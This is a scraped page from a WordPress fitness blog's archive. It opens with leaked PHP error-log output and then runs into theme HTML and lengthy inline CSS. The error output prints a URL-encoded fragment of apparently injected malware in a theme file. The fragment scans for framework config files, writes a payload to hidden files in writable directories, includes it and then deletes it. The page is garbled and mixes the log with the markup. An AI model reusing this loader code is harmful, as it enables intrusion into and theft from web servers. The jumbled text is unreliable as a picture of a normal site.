20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27app.php%27%20%26%26%20strpos%28%24p%2C%20%27config/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_cakephp%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%28%24file%20%3D%3D%20%27bootstrap.php%27%20%7C%7C%20%24file%20%3D%3D%20%27url.php%27%29%20%26%26%20strpos%28%24p%2C%20%27application/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_kohana%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20scan%28%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.db2_convert";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[24-Aug-2026 20:56:59 UTC] PHP Parse error:  Unclosed '{' in /tmp/.uconvert on line 1
[24-Aug-2026 20:59:42 UTC] PHP Parse error:  Unclosed '{' in /tmp/.parle_tokens on line 1
[25-Aug-2026 01:04:59 UTC] PHP Parse error:  Unclosed '{' in /tmp/.uconvert on line 1
[25-Aug-2026 01:08:48 UTC] PHP Parse error:  Unclosed '{' in /tmp/.accept on line 1
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11"> 
	<title>Uncategorized &#8211; Page 3</title>
<meta name='robots' content='max-image-preview:large' />
<link rel="alternate" type="application/rss+xml" title=" &raquo; Feed" href="https://gymdailyfitness.com/feed/" />
<link rel="alternate" type="application/rss+xml" title=" &raquo; Comments Feed" href="https://gymdailyfitness.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title=" &raquo; Uncategorized Category Feed" href="https://gymdailyfitness.com/category/uncategorized/feed/" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<link rel='stylesheet' id='astra-theme-css-css' href='https://gymdailyfitness.com/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.11.14' media='all' />
<style id="astra-theme-css-inline-css">
:root{--ast-post-nav-space:0;--ast-container-default-xlg-padding:2.5em;--ast-container-default-lg-padding:2.5em;--ast-container-default-slg-padding:2em;--ast-container-default-md-padding:2.5em;--ast-container-default-sm-padding:2.5em;--ast-container-default-xs-padding:2.4em;--ast-container-default-xxs-padding:1.8em;--ast-code-block-background:#ECEFF3;--ast-comment-inputs-background:#F9FAFB;--ast-normal-container-width:1200px;--ast-narrow-container-width:750px;--ast-blog-title-font-weight:600;--ast-blog-meta-weight:600;--ast-global-color-primary:var(--ast-global-color-4);--ast-global-color-secondary:var(--ast-global-color-5);--ast-global-color-alternate-background:var(--ast-global-color-6);--ast-global-color-subtle-background:var(--ast-global-color-7);--ast-bg-style-guide:#F8FAFC;--ast-shadow-style-guide:0px 0px 4px 0 #00000057;--ast-global-dark-bg-style:#fff;--ast-global-dark-lfs:#fbfbfb;--ast-widget-bg-color:#fafafa;--ast-wc-container-head-bg-color:#fbfbfb;--ast-title-layout-bg:#eeeeee;--ast-search-border-color:#e7e7e7;--ast-lifter-hover-bg:#e6e6e6;--ast-gallery-block-color:#000;--srfm-color-input-label:var(--ast-global-color-2);}html{font-size:100%;}a{color:var(--ast-global-color-0);}a:hover,a:focus{color:var(--ast-global-color-1);}body,button,input,select,textarea,.ast-button,.ast-custom-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-weight:400;font-size:16px;font-size:1rem;line-height:var(--ast-body-line-height,1.65);}blockquote{color:var(--ast-global-color-3);}h1,h2,h3,h4,h5,h6,.entry-content :where(h1,h2,h3,h4,h5,h6),.site-title,.site-title a{font-weight:600;}.ast-site-identity .site-title a{color:var(--ast-global-color-2);}.site-title{font-size:26px;font-size:1.625rem;display:block;}header .custom-logo-link img{max-width:135px;width:135px;}.astra-logo-svg{width:135px;}.site-header .site-description{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:20px;font-size:1.25rem;}.ast-blog-single-element.ast-taxonomy-container a{font-size:14px;font-size:0.875rem;}.ast-blog-meta-container{font-size:13px;font-size:0.8125rem;}.archive .ast-article-post .ast-article-inner,.blog .ast-article-post .ast-article-inner,.archive .ast-article-post .ast-article-inner:hover,.blog .ast-article-post .ast-article-inner:hover{border-top-left-radius:6px;border-top-right-radius:6px;border-bottom-right-radius:6px;border-bottom-left-radius:6px;overflow:hidden;}h1,.entry-content :where(h1){font-size:36px;font-size:2.25rem;font-weight:600;line-height:1.4em;}h2,.entry-content :where(h2){font-size:30px;font-size:1.875rem;font-weight:600;line-height:1.3em;}h3,.entry-content :where(h3){font-size:24px;font-size:1.5rem;font-weight:600;line-height:1.3em;}h4,.entry-content :where(h4){font-size:20px;font-size:1.25rem;line-height:1.2em;font-weight:600;}h5,.entry-content :where(h5){font-size:18px;font-size:1.125rem;line-height:1.2em;font-weight:600;}h6,.entry-content :where(h6){font-size:16px;font-size:1rem;line-height:1.25em;font-weight:600;}::selection{background-color:var(--ast-global-color-0);color:#ffffff;}body,h1,h2,h3,h4,h5,h6,.entry-title a,.entry-content :where(h1,h2,h3,h4,h5,h6){color:var(--ast-global-color-3);}.tagcloud a:hover,.tagcloud a:focus,.tagcloud a.current-item{color:#ffffff;border-color:var(--ast-global-color-0);background-color:var(--ast-global-color-0);}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="reset"]:focus,input[type="search"]:focus,textarea:focus{border-color:var(--ast-global-color-0);}input[type="radio"]:checked,input[type=reset],input[type="checkbox"]:checked,input[type="checkbox"]:hover:checked,input[type="checkbox"]:focus:checked,input[type=range]::-webkit-slider-thumb{border-color:var(--ast-global-color-0);background-color:var(--ast-global-color-0);box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:var(--ast-global-color-0);border-color:var(--ast-global-color-0);}.single .nav-links .nav-previous,.single .nav-links .nav-next{color:var(--ast-global-color-0);}.entry-meta,.entry-meta *{line-height:1.45;color:var(--ast-global-color-0);font-weight:600;}.entry-meta a:not(.ast-button):hover,.entry-meta a:not(.ast-button):hover *,.entry-meta a:not(.ast-button):focus,.entry-meta a:not(.ast-button):focus *,.page-links > .page-link,.page-links .page-link:hover,.post-navigation a:hover{color:var(--ast-global-color-1);}#cat option,.secondary .calendar_wrap thead a,.secondary .calendar_wrap thead a:visited{color:var(--ast-global-color-0);}.secondary .calendar_wrap #today,.ast-progress-val span{background:var(--ast-global-color-0);}.secondary a:hover + .post-count,.secondary a:focus + .post-count{background:var(--ast-global-color-0);border-color:var(--ast-global-color-0);}.calendar_wrap #today > a{color:#ffffff;}.page-links .page-link,.single .post-navigation a{color:var(--ast-global-color-3);}.ast-search-menu-icon .search-form button.search-submit{padding:0 4px;}.ast-search-menu-icon form.search-form{padding-right:0;}.ast-search-menu-icon.slide-search input.search-field{width:0;}.ast-header-search .ast-search-menu-icon.ast-dropdown-active .search-form,.ast-header-search .ast-search-menu-icon.ast-dropdown-active .search-field:focus{transition:all 0.2s;}.search-form input.search-field:focus{outline:none;}.ast-search-menu-icon .search-form button.search-submit:focus,.ast-theme-transparent-header .ast-header-search .ast-dropdown-active .ast-icon,.ast-theme-transparent-header .ast-inline-search .search-field:focus .ast-icon{color:var(--ast-global-color-1);}.ast-header-search .slide-search .search-form{border:2px solid var(--ast-global-color-0);}.ast-header-search .slide-search .search-field{background-color:(--ast-global-dark-bg-style);}.ast-archive-title{color:var(--ast-global-color-2);}.widget-title{font-size:22px;font-size:1.375rem;color:var(--ast-global-color-2);}.ast-single-post .entry-content a,.ast-comment-content a:not(.ast-comment-edit-reply-wrap a){text-decoration:underline;}.ast-single-post .entry-content .uagb-tab a,.ast-single-post .entry-content .uagb-ifb-cta a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .entry-content .uagb-toc__wrap a,.ast-single-post .entry-content .uagb-taxomony-box a,.entry-content .wp-block-latest-posts > li > a,.ast-single-post .entry-content .wp-block-file__button,a.ast-post-filter-single,.ast-single-post .ast-comment-content .comment-reply-link,.ast-single-post .ast-comment-content .comment-edit-link{text-decoration:none;}.ast-search-menu-icon.slide-search a:focus-visible:focus-visible,.astra-search-icon:focus-visible,#close:focus-visible,a:focus-visible,.ast-menu-toggle:focus-visible,.site .skip-link:focus-visible,.wp-block-loginout input:focus-visible,.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper,.ast-header-navigation-arrow:focus-visible,.ast-orders-table__row .ast-orders-table__cell:focus-visible,a#ast-apply-coupon:focus-visible,#ast-apply-coupon:focus-visible,#close:focus-visible,.button.search-submit:focus-visible,#search_submit:focus,.normal-search:focus-visible,.ast-header-account-wrap:focus-visible,.astra-cart-drawer-close:focus,.ast-single-variation:focus,.ast-button:focus{outline-style:dotted;outline-color:inherit;outline-width:thin;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="reset"]:focus,input[type="search"]:focus,input[type="number"]:focus,textarea:focus,.wp-block-search__input:focus,[data-section="section-header-mobile-trigger"] .ast-button-wrap .ast-mobile-menu-trigger-minimal:focus,.ast-mobile-popup-drawer.active .menu-toggle-close:focus,#ast-scroll-top:focus,#coupon_code:focus,#ast-coupon-code:focus{border-style:dotted;border-color:inherit;border-width:thin;}input{outline:none;}.ast-logo-title-inline .site-logo-img{padding-right:1em;}.site-logo-img img{ transition:all 0.2s linear;}body .ast-oembed-container *{position:absolute;top:0;width:100%;height:100%;left:0;}body .wp-block-embed-pocket-casts .ast-oembed-container *{position:unset;}.ast-single-post-featured-section + article {margin-top: 2em;}.site-content .ast-single-post-featured-section img {width: 100%;overflow: hidden;object-fit: cover;}.ast-separate-container .site-content .ast-single-post-featured-section + article {margin-top: -80px;z-index: 9;position: relative;border-radius: 4px;}@media (min-width: 922px) {.ast-no-sidebar .site-content .ast-article-image-container--wide {margin-left: -120px;margin-right: -120px;max-width: unset;width: unset;}.ast-left-sidebar .site-content .ast-article-image-container--wide,.ast-right-sidebar .site-content .ast-article-image-container--wide {margin-left: -10px;margin-right: -10px;}.site-content .ast-article-image-container--full {margin-left: calc( -50vw + 50%);margin-right: calc( -50vw + 50%);max-width: 100vw;width: 100vw;}.ast-left-sidebar .site-content .ast-article-image-container--full,.ast-right-sidebar .site-content .ast-article-image-container--full {margin-left: -10px;margin-right: -10px;max-width: inherit;width: auto;}}.site > .ast-single-related-posts-container {margin-top: 0;}@media (min-width: 922px) {.ast-desktop .ast-container--narrow {max-width: var(--ast-narrow-container-width);margin: 0 auto;}}input[type="text"],input[type="number"],input[type="email"],input[type="url"],input[type="password"],input[type="search"],input[type=reset],input[type=tel],input[type=date],select,textarea{font-size:16px;font-style:normal;font-weight:400;line-height:24px;width:100%;padding:12px 16px;border-radius:4px;box-shadow:0px 1px 2px 0px rgba(0,0,0,0.05);color:var(--ast-form-input-text,#475569);}input[type="text"],input[type="number"],input[type="email"],input[type="url"],input[type="password"],input[type="search"],input[type=reset],input[type=tel],input[type=date],select{height:40px;}input[type="date"]{border-width:1px;border-style:solid;border-color:var(--ast-border-color);background:var( --ast-global-color-secondary,--ast-global-color-5 );}input[type="text"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="search"]:focus,input[type=reset]:focus,input[type="tel"]:focus,input[type="date"]:focus,select:focus,textarea:focus{border-color:#046BD2;box-shadow:none;outline:none;color:var(--ast-form-input-focus-text,#475569);}label,legend{color:#111827;font-size:14px;font-style:normal;font-weight:500;line-height:20px;}select{padding:6px 10px;}fieldset{padding:30px;border-radius:4px;}button,.ast-button,.button,input[type="button"],input[type="reset"],input[type="submit"],a:where(.wp-block-button__link){border-radius:4px;box-shadow:0px 1px 2px 0px rgba(0,0,0,0.05);}:root{--ast-comment-inputs-background:#FFF;}::placeholder{color:var(--ast-form-field-color,#9CA3AF);}::-ms-input-placeholder{color:var(--ast-form-field-color,#9CA3AF);}@media (max-width:921.9px){#ast-desktop-header{display:none;}}@media (min-width:922px){#ast-mobile-header{display:none;}}.wp-block-buttons.aligncenter{justify-content:center;}.wp-block-button.is-style-outline .wp-block-button__link{border-color:var(--ast-global-color-0);}div.wp-block-button.is-style-outline > .wp-block-button__link:not(.has-text-color),div.wp-block-button.wp-block-button__link.is-style-outline:not(.has-text-color){color:var(--ast-global-color-0);}.wp-block-button.is-style-outline .wp-block-button__link:hover,.wp-block-buttons .wp-block-button.is-style-outline .wp-block-button__link:focus,.wp-block-buttons .wp-block-button.is-style-outline > .wp-block-button__link:not(.has-text-color):hover,.wp-block-buttons .wp-block-button.wp-block-button__link.is-style-outline:not(.has-text-color):hover{color:#ffffff;background-color:var(--ast-global-color-1);border-color:var(--ast-global-color-1);}.post-page-numbers.current .page-link,.ast-pagination .page-numbers.current{color:#ffffff;border-color:var(--ast-global-color-0);background-color:var(--ast-global-color-0);}.wp-block-buttons .wp-block-button.is-style-outline .wp-block-button__link.wp-element-button,.ast-outline-button,.wp-block-uagb-buttons-child .uagb-buttons-repeater.ast-outline-button{border-color:var(--ast-global-color-0);border-top-width:2px;border-right-width:2px;border-bottom-width:2px;border-left-width:2px;font-family:inherit;font-weight:500;font-size:16px;font-size:1rem;line-height:1em;padding-top:13px;padding-right:30px;padding-bottom:13px;padding-left:30px;}.wp-block-buttons .wp-block-button.is-style-outline > .wp-block-button__link:not(.has-text-color),.wp-block-buttons .wp-block-button.wp-block-button__link.is-style-outline:not(.has-text-color),.ast-outline-button{color:var(--ast-global-color-0);}.wp-block-button.is-style-outline .wp-block-button__link:hover,.wp-block-buttons .wp-block-button.is-style-outline .wp-block-button__link:focus,.wp-block-buttons .wp-block-button.is-style-outline > .wp-block-button__link:not(.has-text-color):hover,.wp-block-buttons .wp-block-button.wp-block-button__link.is-style-outline:not(.has-text-color):hover,.ast-outline-button:hover,.ast-outline-button:focus,.wp-block-uagb-buttons-child .uagb-buttons-repeater.ast-outline-button:hover,.wp-block-uagb-buttons-child .uagb-buttons-repeater.ast-outline-button:focus{color:#ffffff;background-color:var(--ast-global-color-1);border-color:var(--ast-global-color-1);}.ast-single-post .entry-content a.ast-outline-button,.ast-single-post .entry-content .is-style-outline>.wp-block-button__link{text-decoration:none;}.wp-block-button .wp-block-button__link.wp-element-button.is-style-outline:not(.has-background),.wp-block-button.is-style-outline>.wp-block-button__link.wp-element-button:not(.has-background),.ast-outline-button{background-color:transparent;}.uagb-buttons-repeater.ast-outline-button{border-radius:9999px;}@media (max-width:921px){.wp-block-buttons .wp-block-button.is-style-outline .wp-block-button__link.wp-element-button,.ast-outline-button,.wp-block-uagb-buttons-child .uagb-buttons-repeater.ast-outline-button{padding-top:12px;padding-right:28px;padding-bottom:12px;padding-left:28px;}}@media (max-width:544px){.wp-block-buttons .wp-block-button.is-style-outline .wp-block-button__link.wp-element-button,.ast-outline-button,.wp-block-uagb-buttons-child .uagb-buttons-repeater.ast-outline-button{padding-top:10px;padding-right:24px;padding-bottom:10px;padding-left:24px;}}.entry-content[data-ast-blocks-layout] > figure{margin-bottom:1em;}h1.widget-title{font-weight:600;}h2.widget-title{font-weight:600;}h3.widget-title{font-weight:600;}#page{display:flex;flex-direction:column;min-height:100vh;}.ast-404-layout-1 h1.page-title{color:var(--ast-global-color-2);}.single .post-navigation a{line-height:1em;height:inherit;}.error-404 .page-sub-title{font-size:1.5rem;font-weight:inherit;}.search .site-content .content-area .search-form{margin-bottom:0;}#page .site-content{flex-grow:1;}.widget{margin-bottom:1.25em;}#secondary li{line-height:1.5em;}#secondary .wp-block-group h2{margin-bottom:0.7em;}#secondary h2{font-size:1.7rem;}.ast-separate-container .ast-article-post,.ast-separate-container .ast-article-single,.ast-separate-container .comment-respond{padding:3em;}.ast-separate-container .ast-article-single .ast-article-single{padding:0;}.ast-article-single .wp-block-post-template-is-layout-grid{padding-left:0;}.ast-separate-container .comments-title,.ast-narrow-container .comments-title{padding:1.5em 2em;}.ast-page-builder-template .comment-form-textarea,.ast-comment-formwrap .ast-grid-common-col{padding:0;}.ast-comment-formwrap{padding:0;display:inline-flex;column-gap:20px;width:100%;margin-left:0;margin-right:0;}.comments-area textarea#comment:focus,.comments-area textarea#comment:active,.comments-area .ast-comment-formwrap input[type="text"]:focus,.comments-area .ast-comment-formwrap input[type="text"]:active {box-shadow:none;outline:none;}.archive.ast-page-builder-template .entry-header{margin-top:2em;}.ast-page-builder-template .ast-comment-formwrap{width:100%;}.entry-title{margin-bottom:0.6em;}.ast-archive-description p{font-size:inherit;font-weight:inherit;line-height:inherit;}.ast-separate-container .ast-comment-list li.depth-1,.hentry{margin-bottom:1.5em;}.site-content section.ast-archive-description{margin-bottom:2em;}@media (min-width:921px){.ast-left-sidebar.ast-page-builder-template #secondary,.archive.ast-right-sidebar.ast-page-builder-template .site-main{padding-left:20px;padding-right:20px;}}@media (max-width:544px){.ast-comment-formwrap.ast-row{column-gap:10px;display:inline-block;}#ast-commentform .ast-grid-common-col{position:relative;width:100%;}}@media (min-width:1201px){.ast-separate-container .ast-article-post,.ast-separate-container .ast-article-single,.ast-separate-container .ast-author-box,.ast-separate-container .ast-404-layout-1,.ast-separate-container .no-results{padding:3em;}}@media (max-width:921px){.ast-left-sidebar #content > .ast-container{display:flex;flex-direction:column-reverse;width:100%;}}@media (min-width:922px){.ast-separate-container.ast-right-sidebar #primary,.ast-separate-container.ast-left-sidebar #primary{border:0;}.search-no-results.ast-separate-container #primary{margin-bottom:4em;}}.wp-block-button .wp-block-button__link{color:#ffffff;}.wp-block-button .wp-block-button__link:hover,.wp-block-button .wp-block-button__link:focus{color:#ffffff;background-color:var(--ast-global-color-1);border-color:var(--ast-global-color-1);}.wp-block-button .wp-block-button__link,.wp-block-search .wp-block-search__button,body .wp-block-file .wp-block-file__button{border-color:var(--ast-global-color-0);background-color:var(--ast-global-color-0);color:#ffffff;font-family:inherit;font-weight:500;line-height:1em;font-size:16px;font-size:1rem;padding-top:15px;padding-right:30px;padding-bottom:15px;padding-left:30px;}.ast-single-post .entry-content .wp-block-button .wp-block-button__link,.ast-single-post .entry-content .wp-block-search .wp-block-search__button,body .entry-content .wp-block-file .wp-block-file__button{text-decoration:none;}@media (max-width:921px){.wp-block-button .wp-block-button__link,.wp-block-search .wp-block-search__button,body .wp-block-file .wp-block-file__button{padding-top:14px;padding-right:28px;padding-bottom:14px;padding-left:28px;}}@media (max-width:544px){.wp-block-button .wp-block-button__link,.wp-block-search .wp-block-search__button,body .wp-block-file .wp-block-file__button{padding-top:12px;padding-right:24px;padding-bottom:12px;padding-left:24px;}}.menu-toggle,button,.ast-button,.ast-custom-button,.button,input#submit,input[type="button"],input[type="submit"],input[type="reset"],#comments .submit,.search .search-submit,form[CLASS*="wp-block-search__"].wp-block-search .wp-block-search__inside-wrapper .wp-block-search__button,body .wp-block-file .wp-block-file__button,.search .search-submit{border-style:solid;border-top-width:0;border-right-width:0;border-left-width:0;border-bottom-width:0;color:#ffffff;border-color:var(--ast-global-color-0);background-color:var(--ast-global-color-0);padding-top:15px;padding-right:30px;padding-bottom:15px;padding-left:30px;font-family:inherit;font-weight:500;font-size:16px;font-size:1rem;line-height:1em;}button:focus,.menu-toggle:hover,button:hover,.ast-button:hover,.ast-custom-button:hover .button:hover,.ast-custom-button:hover ,input[type=reset]:hover,input[type=reset]:focus,input#submit:hover,input#submit:focus,input[type="button"]:hover,input[type="button"]:focus,input[type="submit"]:hover,input[type="submit"]:focus,form[CLASS*="wp-block-search__"].wp-block-search .wp-block-search__inside-wrapper .wp-block-search__button:hover,form[CLASS*="wp-block-search__"].wp-block-search .wp-block-search__inside-wrapper .wp-block-search__button:focus,body .wp-block-file .wp-block-file__button:hover,body .wp-block-file .wp-block-file__button:focus{color:#ffffff;background-color:var(--ast-global-color-1);border-color:var(--ast-global-color-1);}form[CLASS*="wp-block-search__"].wp-block-search .wp-block-search__inside-wrapper .wp-block-search__button.has-icon{padding-top:calc(15px - 3px);padding-right:calc(30px - 3px);padding-bottom:calc(15px - 3px);padding-left:calc(30px - 3px);}@media (max-width:921px){.menu-toggle,button,.ast-button,.ast-custom-button,.button,input#submit,input[type="button"],input[type="submit"],input[type="reset"],#comments .submit,.search .search-submit,form[CLASS*="wp-block-search__"].wp-block-search .wp-block-search__inside-wrapper .wp-block-search__button,body .wp-block-file .wp-block-file__button,.search .search-submit{padding-top:14px;padding-right:28px;padding-bottom:14px;padding-left:28px;}}@media (max-width:544px){.menu-toggle,button,.ast-button,.ast-custom-button,.button,input#submit,input[type="button"],input[type="submit"],input[type="reset"],#comments .submit,.search .search-submit,form[CLASS*="wp-block-search__"].wp-block-search .wp-block-search__inside-wrapper .wp-block-search__button,body .wp-block-file .wp-block-file__button,.search .search-submit{padding-top:12px;padding-right:24px;padding-bottom:12px;padding-left:24px;}}@media (max-width:921px){.ast-mobile-header-stack .main-header-bar .ast-search-menu-icon{display:inline-block;}.ast-header-break-point.ast-header-custom-item-outside .ast-mobile-header-stack .main-header-bar .ast-search-icon{margin:0;}.ast-comment-avatar-wrap img{max-width:2.5em;}.ast-comment-meta{padding:0 1.8888em 1.3333em;}}@media (min-width:544px){.ast-container{max-width:100%;}}@media (max-width:544px){.ast-separate-container .ast-article-post,.ast-separate-container .ast-article-single,.ast-separate-container .comments-title,.ast-separate-container .ast-archive-description{padding:1.5em 1em;}.ast-separate-container #content .ast-container{padding-left:0.54em;padding-right:0.54em;}.ast-separate-container .ast-comment-list .bypostauthor{padding:.5em;}.ast-search-menu-icon.ast-dropdown-active .search-field{width:170px;}} #ast-mobile-header .ast-site-header-cart-li a{pointer-events:none;}.ast-separate-container{background-color:var(--ast-global-color-5);background-image:none;}@media (max-width:921px){.site-title{display:block;}.site-header .site-description{display:none;}h1,.entry-content :where(h1){font-size:30px;font-size:1.875rem;}h2,.entry-content :where(h2){font-size:25px;font-size:1.5625rem;}h3,.entry-content :where(h3){font-size:20px;font-size:1.25rem;}}@media (max-width:544px){.site-title{display:block;}.site-header .site-description{display:none;}h1,.entry-content :where(h1){font-size:30px;font-size:1.875rem;}h2,.entry-content :where(h2){font-size:25px;font-size:1.5625rem;}h3,.entry-content :where(h3){font-size:20px;font-size:1.25rem;}}@media (max-width:921px){html{font-size:91.2%;}}@media (max-width:544px){html{font-size:91.2%;}}@media (min-width:922px){.ast-container{max-width:1240px;}}@media (min-width:922px){.site-content .ast-container{display:flex;}}@media (max-width:921px){.site-content .ast-container{flex-direction:column;}}.ast-blog-layout-4-grid .ast-article-post{width:33.33%;margin-bottom:2em;border-bottom:0;background-color:transparent;}.ast-blog-layout-4-grid .ast-article-inner .wp-post-image{width:100%;}.ast-article-inner{padding:1.5em;}.ast-blog-layout-4-grid .ast-row{display:flex;flex-wrap:wrap;flex-flow:row wrap;align-items:stretch;}.ast-separate-container .ast-blog-layout-4-grid .ast-article-post{padding:0 1em 0;}.ast-separate-container.ast-desktop .ast-blog-layout-4-grid .ast-row{margin-left:-1em;margin-right:-1em;}.ast-blog-layout-4-grid .ast-article-inner{box-shadow:0px 6px 15px -2px rgba(16,24,40,0.05);}.ast-separate-container .ast-blog-layout-4-grid .ast-article-inner,.ast-plain-container .ast-blog-layout-4-grid .ast-article-inner{height:100%;}.ast-row .blog-layout-4 .post-content,.blog-layout-4 .post-thumb{padding-left:0;padding-right:0;}.ast-article-post.remove-featured-img-padding .blog-layout-4 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content{margin-top:-1.5em;}.ast-article-post.remove-featured-img-padding .blog-layout-4 .post-content .ast-blog-featured-section .post-thumb-img-content{margin-left:-1.5em;margin-right:-1.5em;}@media (max-width:921px){.ast-blog-layout-4-grid .ast-article-post{width:100%;}}.ast-blog-layout-6-grid .ast-blog-featured-section:before { content: ""; }.ast-article-post .post-thumb-img-content img{aspect-ratio:16/9;width:100%;}.ast-article-post .post-thumb-img-content{overflow:hidden;}.ast-article-post .post-thumb-img-content img{transform:scale(1);transition:transform .5s ease;}.ast-article-post:hover .post-thumb-img-content img{transform:scale(1.1);}.cat-links.badge a,.tags-links.badge a {padding: 4px 8px;border-radius: 3px;font-weight: 400;}.cat-links.underline a,.tags-links.underline a{text-decoration: underline;}@media (min-width:922px){.main-header-menu .sub-menu .menu-item.ast-left-align-sub-menu:hover > .sub-menu,.main-header-menu .sub-menu .menu-item.ast-left-align-sub-menu.focus > .sub-menu{margin-left:-0px;}}.entry-content li > p{margin-bottom:0;}.site .comments-area{padding-bottom:2em;margin-top:2em;}.footer-widget-area[data-section^="section-fb-html-"] .ast-builder-html-element{text-align:center;}.wp-block-file {display: flex;align-items: center;flex-wrap: wrap;justify-content: space-between;}.wp-block-pullquote {border: none;}.wp-block-pullquote blockquote::before {content: "\201D";font-family: "Helvetica",sans-serif;display: flex;transform: rotate( 180deg );font-size: 6rem;font-style: normal;line-height: 1;font-weight: bold;align-items: center;justify-content: center;}.has-text-align-right > blockquote::before {justify-content: flex-start;}.has-text-align-left > blockquote::before {justify-content: flex-end;}figure.wp-block-pullquote.is-style-solid-color blockquote {max-width: 100%;text-align: inherit;}:root {--wp--custom--ast-default-block-top-padding: 3em;--wp--custom--ast-default-block-right-padding: 3em;--wp--custom--ast-default-block-bottom-padding: 3em;--wp--custom--ast-default-block-left-padding: 3em;--wp--custom--ast-container-width: 1200px;--wp--custom--ast-content-width-size: 1200px;--wp--custom--ast-wide-width-size: calc(1200px + var(--wp--custom--ast-default-block-left-padding) + var(--wp--custom--ast-default-block-right-padding));}.ast-narrow-container {--wp--custom--ast-content-width-size: 750px;--wp--custom--ast-wide-width-size: 750px;}@media(max-width: 921px) {:root {--wp--custom--ast-default-block-top-padding: 3em;--wp--custom--ast-default-block-right-padding: 2em;--wp--custom--ast-default-block-bottom-padding: 3em;--wp--custom--ast-default-block-left-padding: 2em;}}@media(max-width: 544px) {:root {--wp--custom--ast-default-block-top-padding: 3em;--wp--custom--ast-default-block-right-padding: 1.5em;--wp--custom--ast-default-block-bottom-padding: 3em;--wp--custom--ast-default-block-left-padding: 1.5em;}}.entry-content > .wp-block-group,.entry-content > .wp-block-cover,.entry-content > .wp-block-columns {padding-top: var(--wp--custom--ast-default-block-top-padding);padding-right: var(--wp--custom--ast-default-block-right-padding);padding-bottom: var(--wp--custom--ast-default-block-bottom-padding);padding-left: var(--wp--custom--ast-default-block-left-padding);}.ast-plain-container.ast-no-sidebar .entry-content > .alignfull,.ast-page-builder-template .ast-no-sidebar .entry-content > .alignfull {margin-left: calc( -50vw + 50%);margin-right: calc( -50vw + 50%);max-width: 100vw;width: 100vw;}.ast-plain-container.ast-no-sidebar .entry-content .alignfull .alignfull,.ast-page-builder-template.ast-no-sidebar .entry-content .alignfull .alignfull,.ast-plain-container.ast-no-sidebar .entry-content .alignfull .alignwide,.ast-page-builder-template.ast-no-sidebar .entry-content .alignfull .alignwide,.ast-plain-container.ast-no-sidebar .entry-content .alignwide .alignfull,.ast-page-builder-template.ast-no-sidebar .entry-content .alignwide .alignfull,.ast-plain-container.ast-no-sidebar .entry-content .alignwide .alignwide,.ast-page-builder-template.ast-no-sidebar .entry-content .alignwide .alignwide,.ast-plain-container.ast-no-sidebar .entry-content .wp-block-column .alignfull,.ast-page-builder-template.ast-no-sidebar .entry-content .wp-block-column .alignfull,.ast-plain-container.ast-no-sidebar .entry-content .wp-block-column .alignwide,.ast-page-builder-template.ast-no-sidebar .entry-content .wp-block-column .alignwide {margin-left: auto;margin-right: auto;width: 100%;}[data-ast-blocks-layout] .wp-block-separator:not(.is-style-dots) {height: 0;}[data-ast-blocks-layout] .wp-block-separator {margin: 20px auto;}[data-ast-blocks-layout] .wp-block-separator:not(.is-style-wide):not(.is-style-dots) {max-width: 100px;}[data-ast-blocks-layout] .wp-block-separator.has-background {padding: 0;}.entry-content[data-ast-blocks-layout] > * {max-width: var(--wp--custom--ast-content-width-size);margin-left: auto;margin-right: auto;}.entry-content[data-ast-blocks-layout] > .alignwide {max-width: var(--wp--custom--ast-wide-width-size);}.entry-content[data-ast-blocks-layout] .alignfull {max-width: none;}.entry-content .wp-block-columns {margin-bottom: 0;}blockquote {margin: 1.5em;border-color: rgba(0,0,0,0.05);}.wp-block-quote:not(.has-text-align-right):not(.has-text-align-center) {border-left: 5px solid rgba(0,0,0,0.05);}.has-text-align-right > blockquote,blockquote.has-text-align-right {border-right: 5px solid rgba(0,0,0,0.05);}.has-text-align-left > blockquote,blockquote.has-text-align-left {border-left: 5px solid rgba(0,0,0,0.05);}.wp-block-site-tagline,.wp-block-latest-posts .read-more {margin-top: 15px;}.wp-block-loginout p label {display: block;}.wp-block-loginout p:not(.login-remember):not(.login-submit) input {width: 100%;}.wp-block-loginout input:focus {border-color: transparent;}.wp-block-loginout input:focus {outline: thin dotted;}.entry-content .wp-block-media-text .wp-block-media-text__content {padding: 0 0 0 8%;}.entry-content .wp-block-media-text.has-media-on-the-right .wp-block-media-text__content {padding: 0 